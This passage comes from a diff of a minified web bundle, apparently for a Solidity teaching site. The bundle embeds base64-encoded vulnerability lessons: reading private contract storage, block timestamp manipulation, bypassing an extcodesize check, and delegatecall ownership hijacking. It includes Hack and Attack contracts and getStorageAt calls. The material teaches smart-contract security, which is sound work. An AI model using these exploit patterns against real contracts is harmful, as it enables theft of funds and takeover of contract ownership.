iAgICAvLyBzdGFydGluZyBmcm9tIHNsb3QgaGFzaCg2KSAtIGFycmF5IGVsZW1lbnRzCiAgICAvLyBzbG90IHdoZXJlIGFycmF5IGVsZW1lbnQgaXMgc3RvcmVkID0ga2VjY2FrMjU2KHNsb3QpKSArIChpbmRleCAqIGVsZW1lbnRTaXplKQogICAgLy8gd2hlcmUgc2xvdCA9IDYgYW5kIGVsZW1lbnRTaXplID0gMiAoMSAodWludCkgKyAgMSAoYnl0ZXMzMikpCiAgICBVc2VyW10gcHJpdmF0ZSB1c2VyczsKCiAgICAvLyBzbG90IDcgLSBlbXB0eQogICAgLy8gZW50cmllcyBhcmUgc3RvcmVkIGF0IGhhc2goa2V5LCBzbG90KQogICAgLy8gd2hlcmUgc2xvdCA9IDcsIGtleSA9IG1hcCBrZXkKICAgIG1hcHBpbmcodWludDI1NiA9PiBVc2VyKSBwcml2YXRlIGlkVG9Vc2VyOwoKICAgIGNvbnN0cnVjdG9yKGJ5dGVzMzIgX3Bhc3N3b3JkKSB7CiAgICAgICAgcGFzc3dvcmQgPSBfcGFzc3dvcmQ7CiAgICB9CgogICAgZnVuY3Rpb24gYWRkVXNlcihieXRlczMyIF9wYXNzd29yZCkgcHVibGljIHsKICAgICAgICBVc2VyIG1lbW9yeSB1c2VyID0gVXNlcih7aWQ6IHVzZXJzLmxlbmd0aCwgcGFzc3dvcmQ6IF9wYXNzd29yZH0pOwoKICAgICAgICB1c2Vycy5wdXNoKHVzZXIpOwogICAgICAgIGlkVG9Vc2VyW3VzZXIuaWRdID0gdXNlcjsKICAgIH0KCiAgICBmdW5jdGlvbiBnZXRBcnJheUxvY2F0aW9uKHVpbnQyNTYgc2xvdCwgdWludDI1NiBpbmRleCwgdWludDI1NiBlbGVtZW50U2l6ZSkKICAgICAgICBwdWJsaWMKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAodWludDI1NikKICAgIHsKICAgICAgICByZXR1cm4KICAgICAgICAgICAgdWludDI1NihrZWNjYWsyNTYoYWJpLmVuY29kZVBhY2tlZChzbG90KSkpICsgKGluZGV4ICogZWxlbWVudFNpemUpOwogICAgfQoKICAgIGZ1bmN0aW9uIGdldE1hcExvY2F0aW9uKHVpbnQyNTYgc2xvdCwgdWludDI1NiBrZXkpCiAgICAgICAgcHVibGljCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKHVpbnQyNTYpCiAgICB7CiAgICAgICAgcmV0dXJuIHVpbnQyNTYoa2VjY2FrMjU2KGFiaS5lbmNvZGVQYWNrZWQoa2V5LCBzbG90KSkpOwogICAgfQp9CgovKgpzbG90IDAgLSBjb3VudAp3ZWIzLmV0aC5nZXRTdG9yYWdlQXQoIjB4NTM0RTRDZTBmZkY3Nzk1MTM3OTNjZmQ3MDMwOEFGMTk1ODI3QkQzMSIsIDAsIGNvbnNvbGUubG9nKQpzbG90IDEgLSB1MTYsIGlzVHJ1ZSwgb3duZXIKd2ViMy5ldGguZ2V0U3RvcmFnZUF0KCIweDUzNEU0Q2UwZmZGNzc5NTEzNzkzY2ZkNzAzMDhBRjE5NTgyN0JEMzEiLCAxLCBjb25zb2xlLmxvZykKc2xvdCAyIC0gcGFzc3dvcmQKd2ViMy5ldGguZ2V0U3RvcmFnZUF0KCIweDUzNEU0Q2UwZmZGNzc5NTEzNzkzY2ZkNzAzMDhBRjE5NTgyN0JEMzEiLCAyLCBjb25zb2xlLmxvZykKCnNsb3QgNiAtIGFycmF5IGxlbmd0aApnZXRBcnJheUxvY2F0aW9uKDYsIDAsIDIpCndlYjMudXRpbHMubnVtYmVyVG9IZXgoIjExMTQxNDA3NzgxNTg2MzQwMDUxMDAwNDA2NDYyOTk3MzU5NTk2MTU3OTE3MzY2NTU4OTIyNDIwMzUwMzY2MjE0OTM3MzcyNDk4NjY4NyIpCk5vdGU6IFdlIGNhbiBhbHNvIHVzZSB3ZWIzIHRvIGdldCBkYXRhIGxvY2F0aW9uCndlYjMudXRpbHMuc29saWRpdHlTaGEzKHsgdHlwZTogInVpbnQiLCB2YWx1ZTogNiB9KQoxc3QgdXNlcgp3ZWIzLmV0aC5nZXRTdG9yYWdlQXQoIjB4NTM0RTRDZTBmZkY3Nzk1MTM3OTNjZmQ3MDMwOEFGMTk1ODI3QkQzMSIsICIweGY2NTIyMjIzMTNlMjg0NTk1MjhkOTIwYjY1MTE1YzE2YzA0ZjNlZmM4MmFhZWRjOTdiZTU5ZjNmMzc3YzBkM2YiLCBjb25zb2xlLmxvZykKd2ViMy5ldGguZ2V0U3RvcmFnZUF0KCIweDUzNEU0Q2UwZmZGNzc5NTEzNzkzY2ZkNzAzMDhBRjE5NTgyN0JEMzEiLCAiMHhmNjUyMjIyMzEzZTI4NDU5NTI4ZDkyMGI2NTExNWMxNmMwNGYzZWZjODJhYWVkYzk3YmU1OWYzZjM3N2MwZDQwIiwgY29uc29sZS5sb2cpCk5vdGU6IHVzZSB3ZWIzLnRvQXNjaWkgdG8gY29udmVydCBieXRlczMyIHRvIGFscGhhYmV0CjJuZCB1c2VyCndlYjMuZXRoLmdldFN0b3JhZ2VBdCgiMHg1MzRFNENlMGZmRjc3OTUxMzc5M2NmZDcwMzA4QUYxOTU4MjdCRDMxIiwgIjB4ZjY1MjIyMjMxM2UyODQ1OTUyOGQ5MjBiNjUxMTVjMTZjMDRmM2VmYzgyYWFlZGM5N2JlNTlmM2YzNzdjMGQ0MSIsIGNvbnNvbGUubG9nKQp3ZWIzLmV0aC5nZXRTdG9yYWdlQXQoIjB4NTM0RTRDZTBmZkY3Nzk1MTM3OTNjZmQ3MDMwOEFGMTk1ODI3QkQzMSIsICIweGY2NTIyMjIzMTNlMjg0NTk1MjhkOTIwYjY1MTE1YzE2YzA0ZjNlZmM4MmFhZWRjOTdiZTU5ZjNmMzc3YzBkNDIiLCBjb25zb2xlLmxvZykKCnNsb3QgNyAtIGVtcHR5CmdldE1hcExvY2F0aW9uKDcsIDEpCndlYjMudXRpbHMubnVtYmVyVG9IZXgoIjgxMjIyMTkxOTg2MjI2ODA5MTAzMjc5MTE5OTk0NzA3ODY4MzIyODU1NzQxODE5OTA1OTA0NDE3OTUzMDkyNjY2Njk5MDk2OTYzMTEyIikKTm90ZTogV2UgY2FuIGFsc28gdXNlIHdlYjMgdG8gZ2V0IGRhdGEgbG9jYXRpb24Kd2ViMy51dGlscy5zb2xpZGl0eVNoYTMoeyB0eXBlOiAidWludCIsIHZhbHVlOiAxIH0sIHt0eXBlOiAidWludCIsIHZhbHVlOiA3fSkKdXNlciAxCndlYjMuZXRoLmdldFN0b3JhZ2VBdCgiMHg1MzRFNENlMGZmRjc3OTUxMzc5M2NmZDcwMzA4QUYxOTU4MjdCRDMxIiwgIjB4YjM5MjIxYWNlMDUzNDY1ZWMzNDUzY2UyYjM2NDMwYmQxMzhiOTk3ZWNlYTI1YzEwNDNkYTBjMzY2ODEyYjgyOCIsIGNvbnNvbGUubG9nKQp3ZWIzLmV0aC5nZXRTdG9yYWdlQXQoIjB4NTM0RTRDZTBmZkY3Nzk1MTM3OTNjZmQ3MDMwOEFGMTk1ODI3QkQzMSIsICIweGIzOTIyMWFjZTA1MzQ2NWVjMzQ1M2NlMmIzNjQzMGJkMTM4Yjk5N2VjZWEyNWMxMDQzZGEwYzM2NjgxMmI4MjkiLCBjb25zb2xlLmxvZykKKi8K"}],hk=`

                                    Vulnerability

                                    All data on a smart contract can be read.

                                    Let's see how we can read private data. In the process you will learn how Solidity stores state variables.

                                    // SPDX-License-Identifier: MIT
@@ -8892,7 +8892,7 @@ web3.eth.getStorageAt("0x534E4Ce0ffF779513793cfd70308AF195827BD31", "0xb39221ace
 
                                      
 
                                    • Don't store sensitive information on the blockchain.
                                      • 
 
                                    
-`,Ik=({prev:s,next:a})=>r.jsx(u,{version:ok,title:rk,description:ik,html:hk,prev:s,next:a,codes:gk}),dk="0.8.24",Ck="Block Timestamp Manipulation",jk="An example of a Solidity contract vulnerable to block timestamp manipulation",uk=[{fileName:"BlockTimestamp.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8qClJvdWxldHRlIGlzIGEgZ2FtZSB3aGVyZSB5b3UgY2FuIHdpbiBhbGwgb2YgdGhlIEV0aGVyIGluIHRoZSBjb250cmFjdAppZiB5b3UgY2FuIHN1Ym1pdCBhIHRyYW5zYWN0aW9uIGF0IGEgc3BlY2lmaWMgdGltaW5nLgpBIHBsYXllciBuZWVkcyB0byBzZW5kIDEwIEV0aGVyIGFuZCB3aW5zIGlmIHRoZSBibG9jay50aW1lc3RhbXAgJSAxNSA9PSAwLgoqLwoKLyoKMS4gRGVwbG95IFJvdWxldHRlIHdpdGggMTAgRXRoZXIKMi4gRXZlIHJ1bnMgYSBwb3dlcmZ1bCBtaW5lciB0aGF0IGNhbiBtYW5pcHVsYXRlIHRoZSBibG9jayB0aW1lc3RhbXAuCjMuIEV2ZSBzZXRzIHRoZSBibG9jay50aW1lc3RhbXAgdG8gYSBudW1iZXIgaW4gdGhlIGZ1dHVyZSB0aGF0IGlzIGRpdmlzaWJsZSBieQogICAxNSBhbmQgZmluZHMgdGhlIHRhcmdldCBibG9jayBoYXNoLgo0LiBFdmUncyBibG9jayBpcyBzdWNjZXNzZnVsbHkgaW5jbHVkZWQgaW50byB0aGUgY2hhaW4sIEV2ZSB3aW5zIHRoZQogICBSb3VsZXR0ZSBnYW1lLgoqLwoKY29udHJhY3QgUm91bGV0dGUgewogICAgdWludDI1NiBwdWJsaWMgcGFzdEJsb2NrVGltZTsKCiAgICBjb25zdHJ1Y3RvcigpIHBheWFibGUge30KCiAgICBmdW5jdGlvbiBzcGluKCkgZXh0ZXJuYWwgcGF5YWJsZSB7CiAgICAgICAgcmVxdWlyZShtc2cudmFsdWUgPT0gMTAgZXRoZXIpOyAvLyBtdXN0IHNlbmQgMTAgZXRoZXIgdG8gcGxheQogICAgICAgIHJlcXVpcmUoYmxvY2sudGltZXN0YW1wICE9IHBhc3RCbG9ja1RpbWUpOyAvLyBvbmx5IDEgdHJhbnNhY3Rpb24gcGVyIGJsb2NrCgogICAgICAgIHBhc3RCbG9ja1RpbWUgPSBibG9jay50aW1lc3RhbXA7CgogICAgICAgIGlmIChibG9jay50aW1lc3RhbXAgJSAxNSA9PSAwKSB7CiAgICAgICAgICAgIChib29sIHNlbnQsKSA9IG1zZy5zZW5kZXIuY2FsbHt2YWx1ZTogYWRkcmVzcyh0aGlzKS5iYWxhbmNlfSgiIik7CiAgICAgICAgICAgIHJlcXVpcmUoc2VudCwgIkZhaWxlZCB0byBzZW5kIEV0aGVyIik7CiAgICAgICAgfQogICAgfQp9Cg=="}],Ak=`
                                    Vulnerability
                                    
+`,Ik=({prev:s,next:a})=>r.jsx(A,{version:ok,title:rk,description:ik,html:hk,prev:s,next:a,codes:gk}),dk="0.8.24",Ck="Block Timestamp Manipulation",jk="An example of a Solidity contract vulnerable to block timestamp manipulation",Ak=[{fileName:"BlockTimestamp.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8qClJvdWxldHRlIGlzIGEgZ2FtZSB3aGVyZSB5b3UgY2FuIHdpbiBhbGwgb2YgdGhlIEV0aGVyIGluIHRoZSBjb250cmFjdAppZiB5b3UgY2FuIHN1Ym1pdCBhIHRyYW5zYWN0aW9uIGF0IGEgc3BlY2lmaWMgdGltaW5nLgpBIHBsYXllciBuZWVkcyB0byBzZW5kIDEwIEV0aGVyIGFuZCB3aW5zIGlmIHRoZSBibG9jay50aW1lc3RhbXAgJSAxNSA9PSAwLgoqLwoKLyoKMS4gRGVwbG95IFJvdWxldHRlIHdpdGggMTAgRXRoZXIKMi4gRXZlIHJ1bnMgYSBwb3dlcmZ1bCBtaW5lciB0aGF0IGNhbiBtYW5pcHVsYXRlIHRoZSBibG9jayB0aW1lc3RhbXAuCjMuIEV2ZSBzZXRzIHRoZSBibG9jay50aW1lc3RhbXAgdG8gYSBudW1iZXIgaW4gdGhlIGZ1dHVyZSB0aGF0IGlzIGRpdmlzaWJsZSBieQogICAxNSBhbmQgZmluZHMgdGhlIHRhcmdldCBibG9jayBoYXNoLgo0LiBFdmUncyBibG9jayBpcyBzdWNjZXNzZnVsbHkgaW5jbHVkZWQgaW50byB0aGUgY2hhaW4sIEV2ZSB3aW5zIHRoZQogICBSb3VsZXR0ZSBnYW1lLgoqLwoKY29udHJhY3QgUm91bGV0dGUgewogICAgdWludDI1NiBwdWJsaWMgcGFzdEJsb2NrVGltZTsKCiAgICBjb25zdHJ1Y3RvcigpIHBheWFibGUge30KCiAgICBmdW5jdGlvbiBzcGluKCkgZXh0ZXJuYWwgcGF5YWJsZSB7CiAgICAgICAgcmVxdWlyZShtc2cudmFsdWUgPT0gMTAgZXRoZXIpOyAvLyBtdXN0IHNlbmQgMTAgZXRoZXIgdG8gcGxheQogICAgICAgIHJlcXVpcmUoYmxvY2sudGltZXN0YW1wICE9IHBhc3RCbG9ja1RpbWUpOyAvLyBvbmx5IDEgdHJhbnNhY3Rpb24gcGVyIGJsb2NrCgogICAgICAgIHBhc3RCbG9ja1RpbWUgPSBibG9jay50aW1lc3RhbXA7CgogICAgICAgIGlmIChibG9jay50aW1lc3RhbXAgJSAxNSA9PSAwKSB7CiAgICAgICAgICAgIChib29sIHNlbnQsKSA9IG1zZy5zZW5kZXIuY2FsbHt2YWx1ZTogYWRkcmVzcyh0aGlzKS5iYWxhbmNlfSgiIik7CiAgICAgICAgICAgIHJlcXVpcmUoc2VudCwgIkZhaWxlZCB0byBzZW5kIEV0aGVyIik7CiAgICAgICAgfQogICAgfQp9Cg=="}],uk=`
                                    Vulnerability
                                    
 
                                    block.timestamp can be manipulated by miners with the following constraints
                                    
 
                                      
 
                                    • it cannot be stamped with an earlier time than its parent
                                      • 
@@ -8937,7 +8937,7 @@ A player needs to send 10 Ether and wins if the block.timestamp % 15 == 0.
 
                                        
 
                                      • Don't use block.timestamp for a source of entropy and random number
                                        • 
 
                                      
-`,yk=({prev:s,next:a})=>r.jsx(u,{version:dk,title:Ck,description:jk,html:Ak,prev:s,next:a,codes:uk}),mk="0.8.24",bk="Bypass Contract Size Check",wk="An example of bypassing contract size check",kk=[{fileName:"ContractSize.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFRhcmdldCB7CiAgICBmdW5jdGlvbiBpc0NvbnRyYWN0KGFkZHJlc3MgYWNjb3VudCkgcHVibGljIHZpZXcgcmV0dXJucyAoYm9vbCkgewogICAgICAgIC8vIFRoaXMgbWV0aG9kIHJlbGllcyBvbiBleHRjb2Rlc2l6ZSwgd2hpY2ggcmV0dXJucyAwIGZvciBjb250cmFjdHMgaW4KICAgICAgICAvLyBjb25zdHJ1Y3Rpb24sIHNpbmNlIHRoZSBjb2RlIGlzIG9ubHkgc3RvcmVkIGF0IHRoZSBlbmQgb2YgdGhlCiAgICAgICAgLy8gY29uc3RydWN0b3IgZXhlY3V0aW9uLgogICAgICAgIHVpbnQyNTYgc2l6ZTsKICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIHNpemUgOj0gZXh0Y29kZXNpemUoYWNjb3VudCkKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHNpemUgPiAwOwogICAgfQoKICAgIGJvb2wgcHVibGljIHB3bmVkID0gZmFsc2U7CgogICAgZnVuY3Rpb24gcHJvdGVjdGVkKCkgZXh0ZXJuYWwgewogICAgICAgIHJlcXVpcmUoIWlzQ29udHJhY3QobXNnLnNlbmRlciksICJubyBjb250cmFjdCBhbGxvd2VkIik7CiAgICAgICAgcHduZWQgPSB0cnVlOwogICAgfQp9Cgpjb250cmFjdCBGYWlsZWRBdHRhY2sgewogICAgLy8gQXR0ZW1wdGluZyB0byBjYWxsIFRhcmdldC5wcm90ZWN0ZWQgd2lsbCBmYWlsLAogICAgLy8gVGFyZ2V0IGJsb2NrIGNhbGxzIGZyb20gY29udHJhY3QKICAgIGZ1bmN0aW9uIHB3bihhZGRyZXNzIF90YXJnZXQpIGV4dGVybmFsIHsKICAgICAgICAvLyBUaGlzIHdpbGwgZmFpbAogICAgICAgIFRhcmdldChfdGFyZ2V0KS5wcm90ZWN0ZWQoKTsKICAgIH0KfQoKY29udHJhY3QgSGFjayB7CiAgICBib29sIHB1YmxpYyBpc0NvbnRyYWN0OwogICAgYWRkcmVzcyBwdWJsaWMgYWRkcjsKCiAgICAvLyBXaGVuIGNvbnRyYWN0IGlzIGJlaW5nIGNyZWF0ZWQsIGNvZGUgc2l6ZSAoZXh0Y29kZXNpemUpIGlzIDAuCiAgICAvLyBUaGlzIHdpbGwgYnlwYXNzIHRoZSBpc0NvbnRyYWN0KCkgY2hlY2sKICAgIGNvbnN0cnVjdG9yKGFkZHJlc3MgX3RhcmdldCkgewogICAgICAgIGlzQ29udHJhY3QgPSBUYXJnZXQoX3RhcmdldCkuaXNDb250cmFjdChhZGRyZXNzKHRoaXMpKTsKICAgICAgICBhZGRyID0gYWRkcmVzcyh0aGlzKTsKICAgICAgICAvLyBUaGlzIHdpbGwgd29yawogICAgICAgIFRhcmdldChfdGFyZ2V0KS5wcm90ZWN0ZWQoKTsKICAgIH0KfQo="}],Zk=`
                                      Vulnerability
                                      
+`,yk=({prev:s,next:a})=>r.jsx(A,{version:dk,title:Ck,description:jk,html:uk,prev:s,next:a,codes:Ak}),mk="0.8.24",bk="Bypass Contract Size Check",wk="An example of bypassing contract size check",kk=[{fileName:"ContractSize.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFRhcmdldCB7CiAgICBmdW5jdGlvbiBpc0NvbnRyYWN0KGFkZHJlc3MgYWNjb3VudCkgcHVibGljIHZpZXcgcmV0dXJucyAoYm9vbCkgewogICAgICAgIC8vIFRoaXMgbWV0aG9kIHJlbGllcyBvbiBleHRjb2Rlc2l6ZSwgd2hpY2ggcmV0dXJucyAwIGZvciBjb250cmFjdHMgaW4KICAgICAgICAvLyBjb25zdHJ1Y3Rpb24sIHNpbmNlIHRoZSBjb2RlIGlzIG9ubHkgc3RvcmVkIGF0IHRoZSBlbmQgb2YgdGhlCiAgICAgICAgLy8gY29uc3RydWN0b3IgZXhlY3V0aW9uLgogICAgICAgIHVpbnQyNTYgc2l6ZTsKICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIHNpemUgOj0gZXh0Y29kZXNpemUoYWNjb3VudCkKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHNpemUgPiAwOwogICAgfQoKICAgIGJvb2wgcHVibGljIHB3bmVkID0gZmFsc2U7CgogICAgZnVuY3Rpb24gcHJvdGVjdGVkKCkgZXh0ZXJuYWwgewogICAgICAgIHJlcXVpcmUoIWlzQ29udHJhY3QobXNnLnNlbmRlciksICJubyBjb250cmFjdCBhbGxvd2VkIik7CiAgICAgICAgcHduZWQgPSB0cnVlOwogICAgfQp9Cgpjb250cmFjdCBGYWlsZWRBdHRhY2sgewogICAgLy8gQXR0ZW1wdGluZyB0byBjYWxsIFRhcmdldC5wcm90ZWN0ZWQgd2lsbCBmYWlsLAogICAgLy8gVGFyZ2V0IGJsb2NrIGNhbGxzIGZyb20gY29udHJhY3QKICAgIGZ1bmN0aW9uIHB3bihhZGRyZXNzIF90YXJnZXQpIGV4dGVybmFsIHsKICAgICAgICAvLyBUaGlzIHdpbGwgZmFpbAogICAgICAgIFRhcmdldChfdGFyZ2V0KS5wcm90ZWN0ZWQoKTsKICAgIH0KfQoKY29udHJhY3QgSGFjayB7CiAgICBib29sIHB1YmxpYyBpc0NvbnRyYWN0OwogICAgYWRkcmVzcyBwdWJsaWMgYWRkcjsKCiAgICAvLyBXaGVuIGNvbnRyYWN0IGlzIGJlaW5nIGNyZWF0ZWQsIGNvZGUgc2l6ZSAoZXh0Y29kZXNpemUpIGlzIDAuCiAgICAvLyBUaGlzIHdpbGwgYnlwYXNzIHRoZSBpc0NvbnRyYWN0KCkgY2hlY2sKICAgIGNvbnN0cnVjdG9yKGFkZHJlc3MgX3RhcmdldCkgewogICAgICAgIGlzQ29udHJhY3QgPSBUYXJnZXQoX3RhcmdldCkuaXNDb250cmFjdChhZGRyZXNzKHRoaXMpKTsKICAgICAgICBhZGRyID0gYWRkcmVzcyh0aGlzKTsKICAgICAgICAvLyBUaGlzIHdpbGwgd29yawogICAgICAgIFRhcmdldChfdGFyZ2V0KS5wcm90ZWN0ZWQoKTsKICAgIH0KfQo="}],Zk=`
                                      Vulnerability
                                      
 
                                      If an address is a contract then the size of code stored at the address will be greater than 0 right?
                                      
 
                                      Let's see how we can create a contract with code size returned by extcodesize equal to 0.
                                      
 
                                      // SPDX-License-Identifier: MIT
@@ -8985,7 +8985,7 @@ A player needs to send 10 Ether and wins if the block.timestamp % 15 == 0.
         Target(_target).protected();
     }
 }
-
                                      `,Wk=({prev:s,next:a})=>r.jsx(u,{version:mk,title:bk,description:wk,html:Zk,prev:s,next:a,codes:kk}),Bk="0.8.24",Gk="Delegatecall",Vk="An example of exploits using delegatecall in Solidity",fk=[{fileName:"Delegatecall_1.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8qCkhhY2tNZSBpcyBhIGNvbnRyYWN0IHRoYXQgdXNlcyBkZWxlZ2F0ZWNhbGwgdG8gZXhlY3V0ZSBjb2RlLgpJdCBpcyBub3Qgb2J2aW91cyB0aGF0IHRoZSBvd25lciBvZiBIYWNrTWUgY2FuIGJlIGNoYW5nZWQgc2luY2UgdGhlcmUgaXMgbm8KZnVuY3Rpb24gaW5zaWRlIEhhY2tNZSB0byBkbyBzby4gSG93ZXZlciBhbiBhdHRhY2tlciBjYW4gaGlqYWNrIHRoZQpjb250cmFjdCBieSBleHBsb2l0aW5nIGRlbGVnYXRlY2FsbC4gTGV0J3Mgc2VlIGhvdy4KCjEuIEFsaWNlIGRlcGxveXMgTGliCjIuIEFsaWNlIGRlcGxveXMgSGFja01lIHdpdGggYWRkcmVzcyBvZiBMaWIKMy4gRXZlIGRlcGxveXMgQXR0YWNrIHdpdGggYWRkcmVzcyBvZiBIYWNrTWUKNC4gRXZlIGNhbGxzIEF0dGFjay5hdHRhY2soKQo1LiBBdHRhY2sgaXMgbm93IHRoZSBvd25lciBvZiBIYWNrTWUKCldoYXQgaGFwcGVuZWQ/CkV2ZSBjYWxsZWQgQXR0YWNrLmF0dGFjaygpLgpBdHRhY2sgY2FsbGVkIHRoZSBmYWxsYmFjayBmdW5jdGlvbiBvZiBIYWNrTWUgc2VuZGluZyB0aGUgZnVuY3Rpb24Kc2VsZWN0b3Igb2YgcHduKCkuIEhhY2tNZSBmb3J3YXJkcyB0aGUgY2FsbCB0byBMaWIgdXNpbmcgZGVsZWdhdGVjYWxsLgpIZXJlIG1zZy5kYXRhIGNvbnRhaW5zIHRoZSBmdW5jdGlvbiBzZWxlY3RvciBvZiBwd24oKS4KVGhpcyB0ZWxscyBTb2xpZGl0eSB0byBjYWxsIHRoZSBmdW5jdGlvbiBwd24oKSBpbnNpZGUgTGliLgpUaGUgZnVuY3Rpb24gcHduKCkgdXBkYXRlcyB0aGUgb3duZXIgdG8gbXNnLnNlbmRlci4KRGVsZWdhdGVjYWxsIHJ1bnMgdGhlIGNvZGUgb2YgTGliIHVzaW5nIHRoZSBjb250ZXh0IG9mIEhhY2tNZS4KVGhlcmVmb3JlIEhhY2tNZSdzIHN0b3JhZ2Ugd2FzIHVwZGF0ZWQgdG8gbXNnLnNlbmRlciB3aGVyZSBtc2cuc2VuZGVyIGlzIHRoZQpjYWxsZXIgb2YgSGFja01lLCBpbiB0aGlzIGNhc2UgQXR0YWNrLgoqLwoKY29udHJhY3QgTGliIHsKICAgIGFkZHJlc3MgcHVibGljIG93bmVyOwoKICAgIGZ1bmN0aW9uIHB3bigpIHB1YmxpYyB7CiAgICAgICAgb3duZXIgPSBtc2cuc2VuZGVyOwogICAgfQp9Cgpjb250cmFjdCBIYWNrTWUgewogICAgYWRkcmVzcyBwdWJsaWMgb3duZXI7CiAgICBMaWIgcHVibGljIGxpYjsKCiAgICBjb25zdHJ1Y3RvcihMaWIgX2xpYikgewogICAgICAgIG93bmVyID0gbXNnLnNlbmRlcjsKICAgICAgICBsaWIgPSBMaWIoX2xpYik7CiAgICB9CgogICAgZmFsbGJhY2soKSBleHRlcm5hbCBwYXlhYmxlIHsKICAgICAgICBhZGRyZXNzKGxpYikuZGVsZWdhdGVjYWxsKG1zZy5kYXRhKTsKICAgIH0KfQoKY29udHJhY3QgQXR0YWNrIHsKICAgIGFkZHJlc3MgcHVibGljIGhhY2tNZTsKCiAgICBjb25zdHJ1Y3RvcihhZGRyZXNzIF9oYWNrTWUpIHsKICAgICAgICBoYWNrTWUgPSBfaGFja01lOwogICAgfQoKICAgIGZ1bmN0aW9uIGF0dGFjaygpIHB1YmxpYyB7CiAgICAgICAgaGFja01lLmNhbGwoYWJpLmVuY29kZVdpdGhTaWduYXR1cmUoInB3bigpIikpOwogICAgfQp9Cg=="},{fileName:"Delegatecall_2.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8qClRoaXMgaXMgYSBtb3JlIHNvcGhpc3RpY2F0ZWQgdmVyc2lvbiBvZiB0aGUgcHJldmlvdXMgZXhwbG9pdC4KCjEuIEFsaWNlIGRlcGxveXMgTGliIGFuZCBIYWNrTWUgd2l0aCB0aGUgYWRkcmVzcyBvZiBMaWIKMi4gRXZlIGRlcGxveXMgQXR0YWNrIHdpdGggdGhlIGFkZHJlc3Mgb2YgSGFja01lCjMuIEV2ZSBjYWxscyBBdHRhY2suYXR0YWNrKCkKNC4gQXR0YWNrIGlzIG5vdyB0aGUgb3duZXIgb2YgSGFja01lCgpXaGF0IGhhcHBlbmVkPwpOb3RpY2UgdGhhdCB0aGUgc3RhdGUgdmFyaWFibGVzIGFyZSBub3QgZGVmaW5lZCBpbiB0aGUgc2FtZSBtYW5uZXIgaW4gTGliCmFuZCBIYWNrTWUuIFRoaXMgbWVhbnMgdGhhdCBjYWxsaW5nIExpYi5kb1NvbWV0aGluZygpIHdpbGwgY2hhbmdlIHRoZSBmaXJzdApzdGF0ZSB2YXJpYWJsZSBpbnNpZGUgSGFja01lLCB3aGljaCBoYXBwZW5zIHRvIGJlIHRoZSBhZGRyZXNzIG9mIGxpYi4KCkluc2lkZSBhdHRhY2soKSwgdGhlIGZpcnN0IGNhbGwgdG8gZG9Tb21ldGhpbmcoKSBjaGFuZ2VzIHRoZSBhZGRyZXNzIG9mIGxpYgpzdG9yZSBpbiBIYWNrTWUuIEFkZHJlc3Mgb2YgbGliIGlzIG5vdyBzZXQgdG8gQXR0YWNrLgpUaGUgc2Vjb25kIGNhbGwgdG8gZG9Tb21ldGhpbmcoKSBjYWxscyBBdHRhY2suZG9Tb21ldGhpbmcoKSBhbmQgaGVyZSB3ZQpjaGFuZ2UgdGhlIG93bmVyLgoqLwoKY29udHJhY3QgTGliIHsKICAgIHVpbnQyNTYgcHVibGljIHNvbWVOdW1iZXI7CgogICAgZnVuY3Rpb24gZG9Tb21ldGhpbmcodWludDI1NiBfbnVtKSBwdWJsaWMgewogICAgICAgIHNvbWVOdW1iZXIgPSBfbnVtOwogICAgfQp9Cgpjb250cmFjdCBIYWNrTWUgewogICAgYWRkcmVzcyBwdWJsaWMgbGliOwogICAgYWRkcmVzcyBwdWJsaWMgb3duZXI7CiAgICB1aW50MjU2IHB1YmxpYyBzb21lTnVtYmVyOwoKICAgIGNvbnN0cnVjdG9yKGFkZHJlc3MgX2xpYikgewogICAgICAgIGxpYiA9IF9saWI7CiAgICAgICAgb3duZXIgPSBtc2cuc2VuZGVyOwogICAgfQoKICAgIGZ1bmN0aW9uIGRvU29tZXRoaW5nKHVpbnQyNTYgX251bSkgcHVibGljIHsKICAgICAgICBsaWIuZGVsZWdhdGVjYWxsKGFiaS5lbmNvZGVXaXRoU2lnbmF0dXJlKCJkb1NvbWV0aGluZyh1aW50MjU2KSIsIF9udW0pKTsKICAgIH0KfQoKY29udHJhY3QgQXR0YWNrIHsKICAgIC8vIE1ha2Ugc3VyZSB0aGUgc3RvcmFnZSBsYXlvdXQgaXMgdGhlIHNhbWUgYXMgSGFja01lCiAgICAvLyBUaGlzIHdpbGwgYWxsb3cgdXMgdG8gY29ycmVjdGx5IHVwZGF0ZSB0aGUgc3RhdGUgdmFyaWFibGVzCiAgICBhZGRyZXNzIHB1YmxpYyBsaWI7CiAgICBhZGRyZXNzIHB1YmxpYyBvd25lcjsKICAgIHVpbnQyNTYgcHVibGljIHNvbWVOdW1iZXI7CgogICAgSGFja01lIHB1YmxpYyBoYWNrTWU7CgogICAgY29uc3RydWN0b3IoSGFja01lIF9oYWNrTWUpIHsKICAgICAgICBoYWNrTWUgPSBIYWNrTWUoX2hhY2tNZSk7CiAgICB9CgogICAgZnVuY3Rpb24gYXR0YWNrKCkgcHVibGljIHsKICAgICAgICAvLyBvdmVycmlkZSBhZGRyZXNzIG9mIGxpYgogICAgICAgIGhhY2tNZS5kb1NvbWV0aGluZyh1aW50MjU2KHVpbnQxNjAoYWRkcmVzcyh0aGlzKSkpKTsKICAgICAgICAvLyBwYXNzIGFueSBudW1iZXIgYXMgaW5wdXQsIHRoZSBmdW5jd